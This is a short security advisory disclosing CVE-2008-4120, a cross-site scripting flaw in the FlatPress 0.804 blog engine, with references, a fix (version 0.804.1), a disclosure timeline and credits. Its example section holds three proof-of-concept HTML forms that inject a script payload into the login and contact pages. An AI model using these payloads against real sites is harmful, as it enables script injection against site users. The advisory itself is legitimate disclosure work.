Cross Site Scripting (XSS) Vulnerabilitiy in flatpress 0.804,
CVE-2008-4120 

References

http://www.datensalat.eu/~fabian/cve/CVE-2008-4120-flatpress.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4120
http://www.flatpress.org/

Description

FlatPress is an open-source standard-compliant multi-lingual extensible
blogging engine which does not require a DataBase Management System to
work. 

Example

Assuming flatpress is installed on http://localhost/flatpress/, anybody
could inject JavaScript:

<form method="post" action="http://localhost/flatpress/login.php">
<input type="text" name="user" value='"><script>alert(1)</script>'>
<input type=submit></form>

<form method="post" action="http://localhost/flatpress/login.php">
<input type="text" name="pass" value='"><script>alert(1)</script>'>
<input type=submit></form>

<form method="post" action="http://localhost/flatpress/contact.php">
<input type="text" name="name" value='"><script>alert(1)</script>'>
<input type=submit></form>

Workaround/Fix

Update to 0.804.1.

Disclosure Timeline

2008-09-25 Vendor contacted
2008-09-25 Vendor released 0.804.1
2008-09-25 Published advisory

CVE Information

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2008-4120 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems. 

Credits and copyright

This vulnerability was discovered by Fabian Fingerle (published with
help from Hanno Boeck [0]). It's licensed under the creative commons
attribution license [1].

Fabian Fingerle, 2008-09-25, http://www.fabian-fingerle.de

[0] http://www.hboeck.de
[1] http://creativecommons.org/licenses/by/3.0/de/